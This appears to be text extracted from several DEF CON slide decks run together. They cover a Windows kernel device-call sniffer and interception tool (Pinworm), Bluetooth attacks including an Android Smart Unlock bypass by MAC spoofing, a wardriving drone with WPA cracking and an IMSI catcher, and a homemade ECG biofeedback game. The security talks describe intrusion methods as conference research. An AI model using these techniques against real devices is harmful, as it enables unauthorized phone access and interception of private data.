COP4
PIP501
PIP502
PIP503
PIP504
COP5
PIP601
PIP602
PIP603
PIP604
PIP605
PIP606
COP6
PIR101
PIR102
COR1
PIR201
PIR202
COR2
PIR301
PIR302
COR3
PIR401
PIR402
COR4
PISW101
PISW102
PISW103
PISW104
PISW105
PISW106
PISW107
PISW108
PISW109
PISW1010
PISW1011
PISW1012
COSW1
PIU101
PIU102
PIU103
PIU104
PIU105
PIU106
PIU107
PIU108
PIU109
PIU1010
PIU1011
PIU1012
PIU1013
PIU1014
COU1
PIP101
PIR302
NLAD0
NLLEDR
PIP102
PIR202
NLAD1
NLLEDG
PIP103NLAD2
PIP104NLAD3
PIP105NLAD4
PIP106NLAD5
PIP208NLAREF
PIP205
PIR401
PIU1013
NLAVR0SENSE
NLIO12
PIP307
PIP504
NLFLEX0SCL
PIP306
PIP502
NLFLEX0SDA
PIP308
PIU104
NLFLEX0SIN
PIP309
PIU103
NLFLEX0SOUT
PID102
PID104
PIP207
PIP301
PIP3010
PIP503
PIP606
PIR101
PIR402
PISW107
PISW108
PISW109
PISW1010
PISW1011
PISW1012
PIU107
PIP3011
PIU105
NLGPIO
PIP401NLIO0
PIP402NLIO1
PIP403
PISW101
NLIO2
PIP404
PISW102
NLIO3
PIP405
PISW103
NLIO4
PIP406
PISW104
NLIO5
PIP407
PISW105
NLIO6
PIP408
PISW106
NLIO7
PIP201NLIO8
PIP202
PIU1010
NLIO9
PIP203
PIU1011
NLIO10
PIP204
PIU1012
NLIO11
PIP206NLIO13
PIP303
PIP601
NLMISO
PIP304
PIP604
NLMOSI
PID101
PIR301
PID103
PIR201
PIU106
PIU109
PIP305
PIP605
NLRST#
PIP302
PIP603
NLSCK
PIP2010NLSCL
PIP209NLSDA
PIU1014
PIP3012
PIP501
PIP602
PIR102
PIU101
PIU102
PIU108
IOREF
RESET
3V3
5V
GND
Vin
VIN
1
GND
2
GND
3
5V
4
3V3
5
RESET
6
IOREF
7
8
P7
SSQ-108-03-G-S
VCC
VCC
VIO
0.1uF
C1
0.1uF
C2
PIC101
PIC102
COC1
PIC201
PIC202
COC2
PIP701
PIP702
PIP703
PIP704
PIP705
PIP706
PIP707
PIP708
COP7
PIP705
NL3V3
PIC101
PIC201
PIP702
PIP703
NLGND
PIP707
NLIOREF PIP708
PIP706
NLRESET
PIC102
PIP704
NL5V
PIP701
NLVin
PIC202
• dip switch settings determine functionality
• 00: Off
• 01: set selected led
• 10: clear selected led
• 11: read badge state
programming shield
• INSTALLATION BY Deqing SUN & PEIQI SU (new york interactive)
• EXTENDs THE BADGE FUNCTIONALITY INTO INTERACTIVE ART
• semi-physical-semi-digital tree grows in a 6 meter container
• BADGE -> ARDUINO -> RASPBERRY PI (OPENFRAMEWORKS) -> PC
THE TREE OF PROMISE
• LED tree fruit
• graphics displayed on a 3d cube
• TOUCH SENSITIVE
• TREE BRANCHES
• ALGORITHM TO GENERATE UNIQUE BRANCH FOR EACH ATTENDEE
THE TREE OF PROMISE
• design documentation, code, etc.
• www.grandideastudio.com/portfolio/defcon-
china-2019-badge
resources
enjoy the conference!
@JOEGRAND | www.grandideastudio.com | pdf |
Pinworm
Man in the middle for metadata
@bigezy_(bigezy)
@itsasstime (saci)
[need to add Introduction section]
My previous related
• Badger: Blackhat 2014
https://www.blackhat.com/docs/us-
14/materials/us-14-Rogers-Badger-The-
Networked-Security-State-Estimation-
Toolkit.pdf
• Kobra: BsidesLV 2015
https://youtu.be/gOMVOv6VX50
Previous work from other people
• IRPtracker
https://www.osronline.com/article.cfm?articl
e=199
• IRPmon
https://github.com/MartinDrab/IRPMon
Data observations
• Inside packets 998,802,444
• Outside packets 1,371,775,557
• Observed Destinations Firewalled Side 29,829
– 29,525 resolved via reverse lookup
[2016 Observations]
• Destinations per https connection up 400
percent for certain media sites
• SSL data is streaming out even when the pc is
idle.
• More details to be added here later
Is it 1984?
• Mouse Movements
– List of sites that track mouse movements from data
(will be released at talk)
• Key Strokes?
• Microphone?
• Video?
A bit bloated
IRP
• Previous projects such as IRPtracker (link in
attachment) proved interesting, but, sadly this
program is limited to 32 bits.
• But how to track 64 bit IRB process calls
• Luckily there was a great start into this forensic
research using an IRP sniffer based on work done
by Martin Drab IRPmon
IRPmon downfalls
• IRPmon was a good start and showed the gaps
needed to provide for man in the middle
• More precision and information was needed
regarding the data flows within the operating
system
• Device calls needed an in memory datastore so it
would be possible to virtualize flows and pinpoint
any duplication of input devices within the OS
IRP Sniffing
• Instrumentation of process access to devices
• Devices provide I/O services that can be used
by processes to harvest information
– Keyboard
– Mouse
– Microphone
– Video
Mouse movement
• What processes are interested in the mouse
movements in your browser?
• What network traffic is then generated as a result
of these calls?
• Use multiple data sources to get access to those
things:
– 1 The object table can include device objects
– 2 IRP requests
Why Windows 7/8?
• Windows 10 will work with chrome or firefox
add on (future work)
• We are building this framework from scratch
and are providing it to the community for to
ensure integrity of data communications with
privacy in mind
• Fuck windows 10 (cause I wanted 3 reasons)
Easy mode
• Meeting your adversary at his own level of
abstraction makes finding breaches of privacy
easy
• Getting to this level of abstraction however
requires repeated failure at accessing the
kernel level drivers
Pinworm Core (Old school code slides)
Pulling the processes
void InitializeProcessState()
{
unsigned __int64 eproc = 0x00000000;
int
current_PID = 0;
int
start_PID = 0;
int
i_count = 0;
PLIST_ENTRY plist_active_procs;
InitializeListHead(&ProcessStateList);
// Get the address of the current EPROCESS
eproc = (unsigned __int64)PsGetCurrentProcess();
start_PID = *((int *)(eproc + _kpPIDOFFSET));
current_PID = start_PID;
while (1)
{
//check end of list
if ((i_count >= 1) && (start_PID == current_PID))
break;
DbgPrint("Test: PID is %d\n", current_PID);
//Insert Item
//allocate
addNewProcess(eproc);
plist_active_procs = (LIST_ENTRY *)(eproc + _kpFLINKOFFSET);
eproc = (unsigned __int64)plist_active_procs->Flink;
eproc = eproc - _kpFLINKOFFSET;
current_PID = *((int *)(eproc + _kpPIDOFFSET));
i_count++;
}
Don’t Panic there is also a UI!
Moar Code first
Client Kung fu:
int main(int argc, char** argv) {
HANDLE hDevice;
BOOL status;
hDevice = CreateFile(L"\\\\.\\KBR",
GENERIC_READ | GENERIC_WRITE, 0,NULL,
OPEN_EXISTING, 0, NULL);
// Variable for the run-time callout identifier
UINT32 CalloutId;
HANDLE engineHandle;
UINT32 gStreamCalloutIdV4, gFlowEstablishedCalloutIdV4;
UINT32 kIPV4Outbound;
PVOID * NotificationHandle;
LIST_ENTRY ProcessStateList;
ProcessProfile * state;
PDEVICE_OBJECT pDeviceObject = NULL;
// Pool tags used for memory allocations
#define WSKTCP_SOCKET_POOL_TAG ((ULONG)'sksw')
#define WSKTCP_BUFFER_POOL_TAG ((ULONG)'bksw')
#define WSKTCP_GENERIC_POOL_TAG ((ULONG)'xksw')
// callout functions
VOID NTAPI
ClassifyFn(
IN const FWPS_INCOMING_VALUES0 *inFixedValues,
IN const FWPS_INCOMING_METADATA_VALUES0 *inMetaValues,
IN OUT VOID *layerData,IN const FWPS_FILTER0 *filter,
IN UINT64 flowContext,
IN OUT FWPS_CLASSIFY_OUT0 *classifyOut)
// Process the IRP
//Parse and print to debugger with a tag for filtering
NTSTATUS status, pstatus = STATUS_SUCCESS;
PVOID userBuffer, cmdBuffer;
ULONG xferSize;
ULONG
i, thNum;
// The stack location contains the user buffer info
PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
// Dig out the Device Extension from the Device object
// Determine the length of the request
xferSize = pIrpStack->Parameters.Write.Length;
// Obtain user buffer pointer
userBuffer = pIrp->AssociatedIrp.SystemBuffer;
//allocate buffer and copy for no reason
cmdBuffer = ExAllocatePool(NonPagedPool, xferSize);
if (cmdBuffer == NULL) {
// buffer didn't allocate???
status = STATUS_INSUFFICIENT_RESOURCES;
xferSize = 0; }
else {
RtlCopyMemory(cmdBuffer, userBuffer, xferSize); }
To add a filter that references a callout
(documented in the Windows Driver Kit(WDK))
• Invoke the functions in the following order
– Call to register the callout with the filter engine.
– Call FwpmCalloutAdd0 to add the callout to the
system
– Call FwpmFilterAdd0 to add the filter that
references the callout to the system.
Case Study 1
• What does a process within a browser do in
regards to mouse movement?
• Where does the forked mouse movement
data go when its sent to the internet?
• Does this data exfiltration forking occur inside
the browser, in kernel land, or in user space?
Demo
• www.kaedago.com/saci
• Notice the frames to the left
• We will use these frames to demonstrate the
injection of data using pinworm
Case Study 2
• We have two sniffer instrumented computers.
One computer has been using Windows 7 for
the last few years.
• We will use a control computer with a recently
installed and patched copy of windows 7.
• What are the differences in network traffic
between the two computers?
• What are the results from using different
patched browsers on both PC's?
Man in the middle demo
• Show keyboard injection using pinworm
• Show mouse movement
• Show microphone injection
• Show video injection
Social Media Demo
• Process instrumentation of social media sites
– Redacted.com
– Example.com
– Whattillthetalk.com
Toolchain framework
• UI client and cone of silence are still in alpha
• Framework will be released when its ready
• Pinworm and the test site available now
Releasing of Pinworm github.com/bigezy/pinworm
including:
1. Sniffer to instrument device driver calls.
2. Http Server code to display metadata collected
on users
3. Man in the middle client for interception of
device owners private information and white noise
generator.
Thanks | pdf |
1
Extracting the painful (blue)tooth
Matteo Beccaro
•
Security Consultant at Secure Network
•
Technical Research Leader at Opposing Force, Physical
Security division of Secure Network
•
@_bughardy_
{
Matteo Collura
•
Student at Politecnico di Torino (www.polito.it)
•
Electronic Engineer
•
Researcher in several fields
•
{ @eagle1753
2
Who we are…
Matteo Beccaro
•
Security Consultant at Secure Network
•
Technical Research Leader at Opposing Force, Physical
Security division of Secure Network
•
{@_bughardy_
3
Who are we…
Matteo Collura
•
Student at Politecnico di Torino
•
Electronic Engineer
•
Researcher in different fields concerning security (NFC,
bluetooth)
•
Now focusing on social skills (NLP, social engineering..)
•
{ @eagle1753
Index
What the hell is Bluetooth?
•
Wireless standard for exchanging data over short distances.
•
Short wavelength UHF: 2.4 – 2.485 GHz
•
79 channels (usually) + Adaptive Frequency Hopping
•
Name coming from Harald Bluetooth
•
Scandinavian humor...
Layer protocol architecture
What the hell is Bluetooth?
Core protocols
Cable replacement protocols
Telephony control protocols
Adopted protocols
So many different stacks!
LMP, L2CAP, SDP are mandatory!
•
So many updates!
• 1.0: Mandatory BD_ADDR
• 1.1: IEEE Standard (2002)
• 1.2: Adaptive frequency-hopping spread spectrum resistance to
interferences and eavesdropping (theorically )
• 2.0: EDR (optional) for faster data transfer, GFSK+PSK
modulation
• 2.1: Secure Simple Pairing, Extended Inquiry Response
What the hell is Bluetooth?
Version 1:
Version 2:
•
So many updates!
• 3.0: Alternative MAC/PHYs for high data transfer, Unicast
Connectionless Data
• 4.0: Includes now Bluetooth Low Energy protocol (or Smart)
• 4.1: Limited discovery time, lower consumptions, LE link layer
topology
• 4.2: LE Data packet extension, LE «secure» connections, Link
Layer privacy (really?)
What the hell is Bluetooth?
Version 4:
Version 3:
1. Index
Index
Known and unknown risks..
•
BlueSnarf, by Holtmann & Laurie
Bluetooth implementation on mobile phones and pocket palms
Late 2003
When?
What?
Why?
«(in)security» of OBEX protocol
No authentication needed
Easy GET requests to common files (calendar, contacts..)
No prompts on the user’s side
Known and unknown risks..
•
BlueBug, by Adam Laurie & Martin Herfurt
Bluetooth implementation on mobile phones, especially Symbian OS
2004 @DEFCON12
When?
What?
Why?
Security loophole
No secure auth prior to v2.0
Control device thorugh plain serial connection
Download items via OBEX protocol w/out prompts
Known and unknown risks..
•
Legacy (prior to v2.0) pairing procedure
Encryption Algorithm
Referred to Device B
Known and unknown risks..
•
Legacy (prior to v2.0) authentication procedure
Previously evaluated Link Key
Referred to Device B
Encryption Algorithm
Known and unknown risks..
•
Secure simple pairing
Known and unknown risks..
•
BlueChop, following BlueSnarf
Master must support multiple connections
It disrupts any bluetooth piconet from the outside
Spoof a random slave out of the piconet
Contact the master
Confusion of the master’s internal state
Piconet disruption
What?
Provided
Known and unknown risks..
•
Bluetooth LE encryption bypass, by Mark Ryan:
– Eavesdropping vs Decrypting
– 3 different keys needed to estabilish a connection, TK, STK, LTK
– If we are able to save the key exchange procedure, we are done
•
What if I get TK?
Pairing
TK
STK
LTK
Known and unknown risks..
•
TK, 128 bit AES key, depends on the pairing mode:
•
Bruteforce is the way. Intel i7, just one core less than 1 sec
•
The whole procedure may be computed offline
Just Works
6-digit PIN
Out Of Band (OOB)
TK = 0
TK = 128-bit number
TK = #fuckyourself
TK
STK
LTK
42
Officially introduced with Android 5.0 it enables to unlock the smartphone without user interaction if at least one of
the following conditions apply:
The smartphone is in range of
a previous saved NFC tag.
The smartphone is within
a certain location.
The smartphone recognize the face of the
owner, which must be previously saved.
A previous enabled bluetooth device
is connected to the smartphone
The smartphone is in
contact with a body.
NFC Unlock
Location Unlock
Bluetooth Unlock
Face Unlock
Body Unlock
SmartUnlock…
Bluetooth Unlock
This may be the most interesting and most used function of all the above.
The user set a paired bluetooth device as Trusted, and from now on every time that device is linked to
the smartphone the lockscreen is bypassed.
Good, so what is the problem?
Bluetooth Unlock…
In Android < 5.1 the LK ( LinkKey ) is not checked to verify the Bluetooth device.
Bluetooth Unlock…
Bluetooth Unlock…
Now the question is:
How to get the 4 bytes of the MAC address required?
Two possible solutions:
Bruteforce
Slow
Expensive
Not such a good idea
Sniffing
Requires vicinity
Target can become aware
Authentication process is required
Bluetooth Unlock…
Slow
We cannot bruteforce the MAC address offline, we need to try a
new connection everytime
Expensive
We can speed it up parallelizing it but costs increase.
Not such a good idea
42 bits will defentely requires too much time.
{
{
{
Bruteforce…
Requires vicinity
Target must be near enough for our ubertooth to intercept packets
Target can become aware
Target can be suspicious of strange guy with big antenna(s)
Auth process is required
Usually only 3 bytes of MAC address are transmitted
{
{
{
Sniffing…
Hybrid is always the solution
Android automatically sends out ‘beacons’ of paired BT devices.
The trusted device must be a paired device
We can intercept beacons to retrive 3 bytes of the MAC address
Bruteforce the remaining… 1 bytes = 256 possible MAC addresses
Our approach…
<video demo>
Demo Time!
Android 5.1 adds a new nice feature...
New findings...
Demo Time!
<video demo>
Is it fixed?
It depends…
Android >= 5.1
SmartUnlock is fixed
API are still vulnerable
Android <= 5.0.X
SmartUnlock is not fixed
API are vulnerable
New findings...
API does not have a safe method to check if a
device is connected with a proper LK
Android Security Team told us that there is a method
for this, but it was not yet in SDK, as 27th April, 2015.
And it still not present
New findings...
Why fixing the API is important if SmartUnlock function is fixed?
3rd party applications!
Demo time!
Demo Time!
Index
1. Index
4. Future works…
Bluetooth is everywhere,
we are focusing on:
IoT Devices
Smart Locks
Fit Band
etc
Future Works...
Thank you
Q&A Time… | pdf |
Wireless Aerial
Surveillance Platform
W.A.S.P.
DEFCON 19
Who we are.
Project Inception -
October 2009
• “Dude, I have an idea…”
• Build a UAV
• Provide remote penetration testing capabilities
• Useable flight time (~1 hour)
• Man portable
• Design Philosophy
• Low cost
• Utilize open source and off-the-shelf components
• Focus on system integration not component design
• Easily repeatable by anyone
Specifications
So what is it?
Airframe
Airframe
• FMQ-117B U.S. Army surplus target drone
• Foam contruction
• ~14 pound take-off weight
• E-Flite 90 brushless out runner motor
• Castle Creations Phoenix 85HV ESC
• 17”x10”electric propeller
• 2x 6 cell 22.2v 5000mAh LiPo batteries
Avionics
Avionics
• JR Spektrum Dx6i Transmitter and Receiver
• 2.4GHz
• DIY Drones ArduPilot
• ArduShield
• XY&Z Infrared sensors
• Various servos
• XBee Pro with AdaFruit adapter
• 900MHz
• Telemetry downlink
Payload
Payload
Payload
• Via Epia PX5000eg Pico-ITX motherboard
• 1 GHz Via C7 CPU
• 1GB ram
• 8GB Voyager GTR Flash drive
• Backtrack 5
• USB 4G dongle
• Internet connection
• OpenVPN connection to Backend
• Session Initiation Protocol (SIP) back haul
• XBee Pro module
• 900MHz
• PPP tunnel to Base Station
• Universal Serial Radio Peripheral (USRP)
Base Station
Base Station
• Gumstix Overo Earth
• ARM Cortex-A8 600Mhz
• Chestnut43 add-on module
• 4.3” touchscreen display
• XBee Pro
• 900MHz
• PPP tunnel to the payload
• DIY Drones ArduStation
• XBee Pro
• 900MHz
• Telemetry down-link from Ardupilot
• Asus WL-330gE Wi-Fi Access Point
• Allows easy and direct access to payload
Backend
• Intel P4 3.06GHz HT Processor
• 4GB Memory
• 500GB Hard Drive
• NVIDIA GTX 470
• CUDA Processor
• Software
• Pyrit
• ~19,300 Pairwise Master Keys (PMKs) / second
• Asterisk
• WPA Brute Force Dictionary
• 4 GB
• 354,638,643 Entries
• 4.5 hours to process entire dictionary against WPA handshake
• OpenVPN Server
Capabilities
Yes, but what does it do?
System Topology
Base Station
Internet
VPN to Off-Airframe Processing
Backend Systems
Capabilities
Movie goes here
Capabilities
• Base station
• Telemetry
• Wi-Fi Accessibility
• “WASP – Base Station” access point
• Backtrack 5 based payload
• Kismet
• Aircrack, Airbase-ng, all the BT5 tools
• Universal Software Radio Peripheral (USRP)
• GNU Radio, OpenBTS
• IMSI Catcher
Project Costs
How much is this going to cost me?
Aircraft
• Airframe Free
• Payload ~ $640
• USRP ~ $1600
• Avionics & R/C ~ $800
• Power-plant ~ $800
Base Station
• Gumstix Overo Earth ~ $350
• ArduStation ~ $100
• Wi-Fi AP ~ $50
• 7 port USB Hub $40
• Project Box ~ $10
Backend Station
• Generic x86 PC ~ $600
• NVIDIA Video Card ~ $300
Total Cost
Cost So Far
~$5960.00
+ Misc. Costs
~$500.00
Total Cost
~$6190.00
Not counting mistakes
Lessons Learned
Mistakes cost money.
Save some by using ours.
System Design
vs.
Knee Jerk Problem Solving
• Looking ahead 3 steps or more
• Poor choices today can limit tomorrow’s potential
• You will crash, learn from your failures
• Good / Bad decisions
• MIG vs. EasyStar
• VIA Epia vs. ARM payload
• Propeller size
• Attitude sensor location
Utilizing what is already
available
• This has no custom parts. Everything is easily available
online
• The average enthusiast can build and operate this
• This is what we came up with, not the limit of
possibilities
This might not make you
popular
• People automatically assume you are an evil bastard
trying to destroy their hobby / job / life
• Online communities can see you as a potential threat, so
don’t expect a lot of hugs and kisses
• We received threats that we were going to be reported to
the FAA, FCC, FBI, NSA, NAACP, AARP, GI-Joe, the
Air Force, Air Traffic Control and our moms if we didn’t
stop ruining it for everybody
The Reality Of It All
• It’s never as hard as it seems, or as easy as it looks
• Unforeseen issues take up time & money
• You will crash
•
Do not expect perfection the first time
• Cheap is a relative term
References
•
Chris Paget’s Defcon 18 “Practical Cellphone Spying” talk
•
https://www.defcon.org/html/defcon-18/dc-18-speakers.html#Paget
•
DIY Drones – ArduPilot / ArduStation
•
http://www.diydrones.com
•
Backtrack – Penetration Testing Tools Distribution
•
http://www.backtrack-linux.org/
•
Basic Micro – Power Supplies
•
http://www.basicmicro.com/
• Gateway Electronics St Louis – Electronics & Components
•
http://www.gatewaycatalog.com/
• Gumstix – Ultra-small ARM based Computers & Accessories
•
http://www.gumstix.com/
• Horizon Hobby – R/C Supplies
•
http://www.horizonhobby.com/
• Sparkfun – Xbees, antennas and more
•
http://www.sparkfun.com/commerce/categories.php
• VIA – PICO-ITX motherboards
•
http://www.via.com.tw/en/initiatives/spearhead/pico-itx/
Special Thanks
•
Dave Farquhar
•
Editor Extraordinaire
•
Our significant others
•
For being very understanding and putting up with countless hours spent
not paying attention to them.
Questions?
https://www.rabbit-hole.org | pdf |
BRAIN GAMES
Make your own Biofeedback Video Game
Ne0nRa1n
That Strange Little 'Brain Girl'
Joe Grand aka Kingpin
www.kingpinempire.com
What is old is new again!
Interest in the human brain has been around for a very
long time. The first known writing on the brain is found in
ancient Sumerian records from 4000 B.C, where an
anonymous writer describes the euphoric mind-altering
sensations caused by ingesting the common poppy plant.
Although our theories about human behavior have
changed radically over the many years since, the methods
of studying the brain until very recently had changed very
little.
The evolution of microcomputers, miniaturization, and
digital technology has changed everything as they
lead us to technological advances that help us
understand the human brain better.
And now as computers and electronics have become
more affordable; a whole do-it-yourself neurohacking
movement has emerged.
Biofeedback might sound like a throwback to the 60's
and 70's - like 8 track tapes, bell bottoms or disco; but it
is making a comeback. And it is no surprise in this fast-
paced age where everyone seem to be trying to harness
their mind/body connection for all it is worth.
Biofeedback
The definition of biofeedback
The technique of using monitoring devices to
obtain information about an involuntary function of
the central or autonomic nervous system, such as
body temperature or blood pressure, in order to
gain some voluntary control over the function.
Using biofeedback, individuals can be trained to
respond to abnormal measurements in involuntary
function with specific therapeutic actions, such as
muscle relaxation, meditation, or changing
breathing patterns. Biofeedback has been used to
treat medical conditions such as hypertension and
chronic anxiety.
The American Heritage®
Science Dictionary
Published by Houghton Mifflin Company. All rights reserved., © 2002 by Houghton Mifflin Company.
The definition of biofeedback
The technique of using monitoring devices to
obtain information about an involuntary function of
the central or autonomic nervous system, such as
body temperature or blood pressure, in order to
gain some voluntary control over the function.
Using biofeedback, individuals can be trained to
respond to abnormal measurements in involuntary
function with specific therapeutic actions, such as
muscle relaxation, meditation, or changing
breathing patterns. Biofeedback has been used to
treat medical conditions such as hypertension and
chronic anxiety.
The American Heritage®
Science Dictionary
Published by Houghton Mifflin Company. All rights reserved., © 2002 by Houghton Mifflin Company.
Biofeedback devices are devices that give
feedback regarding our biology. As a broad
generalization something as simple as a scale
that measure your weight and a thermometer
that you measure your temperature with can be
considered biofeedback devices because they all
provide information about the state of your bodily
workings.
More traditionally though, the term "biofeedback device" is
usually used to describe equipment that shows in real-time,
as it's happening, the physical effects of our thoughts,
emotions, attitudes, perceptions, and mental processes.
So, different biofeedback devices would be used measure
different things in your body.
How does biofeedback work?
Scientists are not able to explain exactly how or why
biofeedback works. However, there does seem to be at
least one common thread: most people who benefit from
biofeedback have conditions that are brought on or made
worse by stress.
In the late 1960s, when the term biofeedback was coined
many scientists were looking forward to the day when
biofeedback would give us such a major degree of control
over our bodies that one day in the bright wonderful far off
future it would be possible to do away with certain types of
drug treatments that often caused uncomfortable side
effects in patients and replace them with biofeedback since
it had no negative long-term affects.
But, what scientists found is that biofeedback is not magic.
It cannot cure disease, or by itself make a person healthy.
What it can do is be a highly effective and non-invasive tool
to control stress by helping people observe the signals
generated by their own bodies in a tangible way, and in
doing so can end up helping with other problems that are
linked to, or aggravated by stress.
Today, most scientists agree that such high hopes of
the past were not realistic. Research has shown that
we do have more control over so-called involuntary
bodily function than we once though possible, but that
nature will put limits on the extent of such control.
Interestingly enough, scientists to this day are still trying
to determine just how much voluntary control we
actually can exert.
HEART RATE
AND
HEART RATE VARIABILITY
What Is Heart Rate?
Your heart rate is the number of times your heart beats
per minute. You can measure your heart rate by feeling
your pulse - the rhythmic expansion and contraction (or
throbbing) of an artery as blood is forced through it by
the regular contractions of the heart. It is a measure of
how hard your heart is working.
Your pulse can be felt at area where the artery is close
to the skin.
This is the part of the speech where you humour me by
taking your pulse. I promise I am going somewhere with
this, just stay with me.
1. Place the tips of your index, second and third fingers
on the palm side of your other wrist below the base of the
thumb. Or, place the tips of your index and second fingers
on your lower neck on either side of your windpipe.
2. Press lightly with your fingers until you feel the blood
pulsing beneath your fingers. You may need to move your
fingers around slightly up or down until you feel the pulsing.
So everybody found your pulse? Good!
Now breathe normally for several
seconds.
When you feel a regular pulse, exhale
once, then inhale slowly and deeply.
Did you feel your heartbeat speed up slightly? What you've
just felt is called respiratory sinus arrhythmia. Respiratory
sinus arrhythmia is an example of normal, healthy heart-
rate variability.
Heart rate variability is the pattern that emerges from
tracking the time between each beat of your heart. In
other words - it's the heart's ability to beat faster or
slower in response to emotion or physical demands.
Why should you care?
It is important to understand the difference between these
two terms if one wants to make a video game that uses
biofeedback input from the heart.
In Summary:
Biofeedback is a tool that helps conditions
brought on or made worse by stress
There are as many types of biofeedback
Biofeedback is not a magic bullet
Heart rate and heart rate variability are two different things:
The first being the beats of your heart itself, and the other
being the time in between beats.
And Now...
Joe Is Going To Talk About Some
Interesting and Existing
Biofeedback Things
Emotiv (www.emotiv.com) and NeuroSky
(www.neurosky.com), measures various types of brain
activity to control a videogame or change/enhance the
state of gameplay depending on activity.
Atari Mindlink controller
(www.atarimuseum.com/videogames/consoles/2600/min
dlink.html), an attempt in the early 1980s to measure
electrical activity of the forehead muscles
Emotiv
S00per Sekr1t pictures go here that will only be shown
at the actual presentation...
Electronics in a Nutshell
You will need some basic electronics skillz before
attempting to build this:
* Soldering
* Reading schematics
* Electronics assembly
* Use of test equipment (for debugging)
Even if you don't understand electronics or how the system
really works, you can still build it, experiment with it, and
have fun. Just don't kill yourself in the process!
Soldering
★ Soldering is an art form that requires proper technique
– With practice, you will become comfortable and experienced
– Most hobbyists do not solder properly, which can lead to cold
solder joints and bridges
★ Joe's video podcast:
www.makezine.com/blog/archive/2007/01/soldering_tutor_1.htm
l
★ Two key parts of soldering:
– Good heat distribution from the soldering iron to the desired
components
– Cleanliness of the soldering surface and component
Reading schematics
★ A schematic is essentially an electrical road map
★ Each component of the circuit is assigned its own symbol
- Each symbol is unique to the type of device that it is
- Schematic symbols are like the alphabet for electronics
- The US and Europe sometimes use different symbols
★A part designator is also assigned to each component
– Usually an alphabetic character followed by a numerical value
– Ex.: R1, C4, SW2, etc.
★The schematic symbol and part designator are used
together to identify each discrete component of the circuit
design
Electronics assembly
★ Read my "Basic Assembly Techniques" pamphlet here:
http://makezine.com/images/store/
BasicAssemblyManual.pdf
Common assembly mistakes
★ Verify power
– Ensure that the system is properly receiving power from the
power supply or battery
– If your device doesn't have power, chances are that it won't
work!
★ Faulty solder connections
– After soldering, inspect the connections for cold solder joints
and bridges
– Cold solder joints caused by improper heating of the connection
or when corrosion contaminates a component lead or pad
– Solder bridges form when a trail of excess solder connects
across pads or tracks
Common assembly mistakes (more)
★ Installing the wrong part
– Verify the part type and value that you are using
– Although many devices appear to look similar, they have
different operating characteristics (Ex.: A 1K and 10K resistor
look almost the same except for the color of one band)
★ Installing parts backwards
– Make sure your component is installed in the correct orientation
– All polarized parts have some sort of marking identifying the
positive or negative lead
– Ex.: ICs have a dot or notch indicating pin 1, through-hole
capacitors have a marking to denote the negative lead, diodes
have a banded end indicating the cathode, LEDs have a flat
end and short lead indicating the cathode
Test & measurement equipment
– Multimeter
– Commonly referred to as the "Swiss army knife" of
electronics measurement tools
– Provide a number of precision measurement functions: AC/
DC voltage, resistance, capacitance, current, and continuity
–
www.makezine.com/blog/archive/2007/01/multimeter_tuto.html
– Oscilloscope
– Provides a visual display of electrical signals and how they
change over time
– Available in analog, digital, and mixed-mode versions
–
www.tek.com/Measurement/App_Notes/XYZs/
The Heart Rate Hardware
Our circuit is based on Jason Nguyen's Homemade
Electrocardiograph (ECG, aka EKG),
www.eng.utah.edu/~jnguyen/ecg/ecg_index.html
Simple to build
Uses a handful of parts and costs under $10
Ramsey Electronics sells a similar kit
(www.ramseyelectronics.com/cgi-bin/commerce.exe?
preadd=action&key=ECG1C) that you might be able to get
working with our game
Parts list
★ 3x LF353N Operational Amplifier IC, 8-pin DIP (#LF353NNS-ND), $1.34
each
★ 1x 500k trimmer potentiometer (#490-2928-ND), $0.86 each
★ 10x 100k ohm, 1/4W, 1% resistor (#100KXBK-ND), $0.098 each
★ 6x 10k ohm, 1/4W, 1% resistor (#10.0KXBK-ND), $0.098 each
★ 1x 1uF ceramic capacitor, 50V, 10% (#495-3393-ND), $0.47 each
★ 5x 0.1uF ceramic capacitor, 50V, 10% (#1109PHCT-ND), $0.086 each
★ 6x 1N4001 general purpose rectifier diode, 50V, 1A (#1N4001DICT-ND),
$0.30 each
★ 1x 1/8" (3.5mm) mono phone plug (#CP3-1005-ND), $0.76 each
★ 3x Pennies for electrodes, $0.01 each (you can use real, medical grade
3M Red Dots for better results)
★ 1x 9V battery clip (#236K-ND), $0.49 each
★ Other stuff (9V battery, wire, prototype board, etc.)
All part numbers are from Digi-Key (www.digikey.com) because they're awesome
Total cost: ~$9.35
Schematic from www.eng.utah.edu/~jnguyen/ecg/ecg_index.html
★ Basically, we are just measuring minute signals from the
electrodes and amplifying them to levels that our PC can
read via a sound card
- IN- and IN+ are the chest electrodes
- BODY serves as a common reference point
- Signals are amplified, combined into a single-ended output for sound
card
★ Suggested changes:
- You can replace the LF353Ns with LM324s (#296-1391-5-ND) for
increased performance, but you'll need to pay attention to pinout
differences
- Use 0.1uF bypass capacitors from VDD to GND and VDD/2 to GND
- We've replaced R12 with a 500k potentiometer for adjustable gain
- If the output of IC1A or IC1B is clipped, reduce gain by using a 10k
resistor on R1 or R3, respectively
Now Comes the Part Where
Ne0nRa1n
Talks A Bit About The Code
All my thanks go to:
oldgrover and psychedelicbike
(They wrote this code, not me. Regardless what the media
may tell you. I am not a programmer!)
This code is for proof of
concept only.
(Hey, what do you
expect for free?)
This code was written with you in mind so
you could take it and make it your own and
throw it into your favourite video games.
Why Python?
- easy for beginners who want to learn how to program
and those who are experienced to be able to pick up.
(Neither of the people who wrote the code knew Python
before we started.)
- free
- platform independent
- someone gave me a book on Python as a gift
Why Pygame
- allows you to create fully featured games and multimedia
programs in the python language
- free
- small amount of code
- simple-ish
PyMedia?
- allows you to create your own mutimedia applications
- free
- gives you more control over use of sound then Pygame
does alone.
Problems
Pymedia hasn't been tested for Macs and it
can also be a terror to get to work with linux
Pygame and especially Pymedia's
documentation (or I should say lack of) is not
the easiest for beginner coders to wade
through.
Since this code is proof of concept only it can
be finicky with the hardware. Always make
sure that your computer is unplugged from the
wall or you'll generate too much static to be
able to read a signal. Also try not to touch the
electrodes they will interfer with the heart rate
input.
Jumping off points
Heart rate variability
Heart rate variability can be as an
indicator of different physical and
psychological states than
instantaneous heart rate alone.
Dynamic Difficulty Adjustment
A boring game will result in a low heart rate – make
things harder. A very difficult game will result in a
higher heart rate – make things easier. As the player
gets better at the game, their stress level (and heart
rate) will drop, so the game can automatically
become more difficult to compensate for the
increased player skill.
Goal Tracking
Store the heart rates to a file and observe how they change
over time, with the goal of lowered average heart rate
(usually indicative of healthier cardiovascular system)
The Demo
How this demo is going to work
-pick a volunteer (or two) from the audience who is of
